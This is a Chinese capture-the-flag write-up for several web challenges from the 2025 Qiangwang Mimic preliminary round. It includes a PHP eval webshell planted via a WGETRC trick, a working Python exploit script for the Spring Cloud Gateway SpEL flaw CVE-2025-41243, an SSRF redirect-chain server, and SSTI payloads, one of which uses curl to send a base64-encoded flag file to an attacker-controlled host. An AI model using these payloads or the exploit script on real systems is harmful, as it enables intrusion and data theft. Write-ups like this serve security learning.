2025强网拟态初赛web方向部分wp

smallcode

WGETRC 是 Wget 工具的配置文件,允许用户通过环境变量或文件自定义 Wget 的行为。因此通过指定WGETRC环境变量到1.txt文件进行相关配置;

通过在1.txt中写入代理,让wget通过代理请求hhhh,我们启动服务端监听端口作为代理端,只要是请求hhhh域名的地址返回指定内容。 在1.txt中在配置输出文件的名称为1.php,因此可以实现任意文件上传,写入一句话木马

1
2
3
4
input = /tmp/1.txt
post-file = 1.txt
output_document = 1.php
http_proxy=http://**.**.**.**:28888/1.txt

服务端中的1.txt文件内容为

1
<?php @eval($_POST['candy']); ?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import logging
import os

logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(message)s'
)

class ProxyLikeHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"收到GET请求: {self.path}")
logging.info(f"Host: {self.headers.get('Host')}")
logging.info(f"User-Agent: {self.headers.get('User-Agent')}")

file_path = '1.txt'
if os.path.exists(file_path):
with open(file_path, 'rb') as f:
file_data = f.read()
self.send_response(200)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Content-Disposition', 'attachment; filename="1.txt"')
self.send_header('Content-Length', str(len(file_data)))
self.end_headers()
self.wfile.write(file_data)
logging.info(f"已返回 1.txt ({len(file_data)} 字节)")
else:
self.send_error(404, "文件未找到: 1.txt")

def do_CONNECT(self):
self.do_GET()

def do_POST(self):
self.do_GET()

def log_message(self, format, *args):
pass


def run_server(host='0.0.0.0', port=28888):
server_address = (host, port)
httpd = HTTPServer(server_address, ProxyLikeHandler)

print("=" * 60)
print("HTTP服务器启动成功!")
print(f"监听地址: {host}:{port}")
print("所有通过此代理的请求都将收到 1.txt 文件")
print("=" * 60)
print("等待请求中...\n")

try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n服务器已停止")
httpd.server_close()


if __name__ == '__main__':
run_server()

img

img

访问后即可将一句话木马写入,通过蚁剑连接后,使用nl读取flag

img

ezcloud

本题主要考察内容是 CVE-2025-41243 的任意文件读取,结合一下两个 poc 的内容,即可实现任意文件读取。

https://blog.z3r.ru/posts/spring-cloud-gateway-spel-vuln/

https://rce.moe/2025/09/29/CVE-2025-41243

通过禁用安全限制,覆盖属性的替换路由,再由 setter 触发午餐静态方法刷新配置,实现对静态资源重写,然后即可使用file:///协议进行任意文件下载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests


s = requests.Session()
URL = "http://web-a8bfd7363f.challenge.xctf.org.cn/"

ROUTE_NAME = "test_b"

def add_route(predicate: str):
res = s.post(
f"{URL}actuator/gateway/routes/{ROUTE_NAME}",
json={
"predicates": [{"name": "Path", "args": {"_genkey_0": "/actuators/test"}}],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/test",
"_genkey_1": predicate,
},
}
],
"uri": "http://example.com",
"order": -1,
},
)
res.raise_for_status()
s.post(
f"{URL}actuator/gateway/refresh",
)
res.raise_for_status()


def read_route():
res = s.get(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
try:
return res.json()["filters"]
except Exception as e:
print(f"UNEXPECTED: {e!r}, {res.status_code} {res.text}")
raise


def delete_route():
res = s.delete(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
res.raise_for_status()
s.post(
f"{URL}actuator/gateway/refresh",
)
res.raise_for_status()


add_route("#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}")
print(read_route())

add_route("#{@resourceHandlerMapping.urlMap['/**'].locationValues[0]='file:///'}")
print(read_route())

add_route("#{@resourceHandlerMapping.urlMap['/**'].afterPropertiesSet}")
print(read_route())

在修改路由配置以后,访问根目录下的 flag 内容即可获取 flag。

1
2
http://web-a8bfd7363f.challenge.xctf.org.cn/flag
下载flag

img

safesecret

由于 walked_steps >= ERROR_COUNT 构造至少7步重定向链,因此通过起一个 python 服务实现 7 步重定向到http://127.0.0.1:5000/_internal/secret,获取得到 secret;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from flask import Flask, Response

app = Flask(__name__)

@app.route("/step1")
def step1():
return Response("", headers={"Refresh": "0;url=http://**.**.**.**:8000/step2"})

@app.route("/step2")
def step2():
return Response("", headers={"Refresh": "0;url=http://**.**.**.**:8000/step3"})

@app.route("/step3")
def step3():
return '<meta http-equiv="refresh" content="0;url=http://**.**.**.**:8000/step4">'

@app.route("/step4")
def step4():
return '<meta http-equiv="refresh" content="0;url=http://**.**.**.**:8000/step5">'

@app.route("/step5")
def step5():
return Response("", status=401, headers={"X-Next": "http://**.**.**.**:8000/step6"})

@app.route("/step6")
def step6():
return Response("", status=429, headers={"X-Next": "http://**.**.**.**:8000/step7"})

@app.route("/step7")
def step7():
# 第7步后,重定向到目标
return Response("", headers={"Refresh": "0;url=http://127.0.0.1:5000/_internal/secret"})

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

虽然存在 ssti 注入,但是由于长度必须小于 47 个字符的限制,因此需要采用链式调用实现 ssti 注入。

并且代码中注册了 sset 和 sget 两个函数到 Jinja2 的全局命名空间。

通过将中间值存储再 session,实现黑名单绕过以及缩减长度,最终 payload 如下:

1
2
3
http://web-13f5625fbc.challenge.xctf.org.cn/login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&username={%set a=sset('g',request.args.v)%}&v=__globals__
http://web-13f5625fbc.challenge.xctf.org.cn/login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&username={%set a=sset('p',request.args.v)%}&v=curl http://**.**.**.**:28888/?f=`cat /flag | base64`
http://web-13f5625fbc.challenge.xctf.org.cn/login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&username={%set a=lipsum[sget('g')].os.popen(sget('p'))%}

img

img

ecshop

emmm,既然其他的大哥都不放详细的分析过程的话,虽然我没解出来,但是分析到最后一步的过程我也不放了,就这样吧。

题目的环境应该是想让我们利用前台的漏洞,但是我没有审到前台的漏洞,虽然后台的页面不知道是故意过滤了还是什么其他原因,但是依旧可以通过数据包进行登录到后台去rce。


2025强网拟态初赛web方向部分wp
http://candyb0x.github.io/2025/10/29/2025强网拟态初赛web方向部分wp/
作者
Candy
发布于
2025年10月29日
更新于
2025年10月30日
许可协议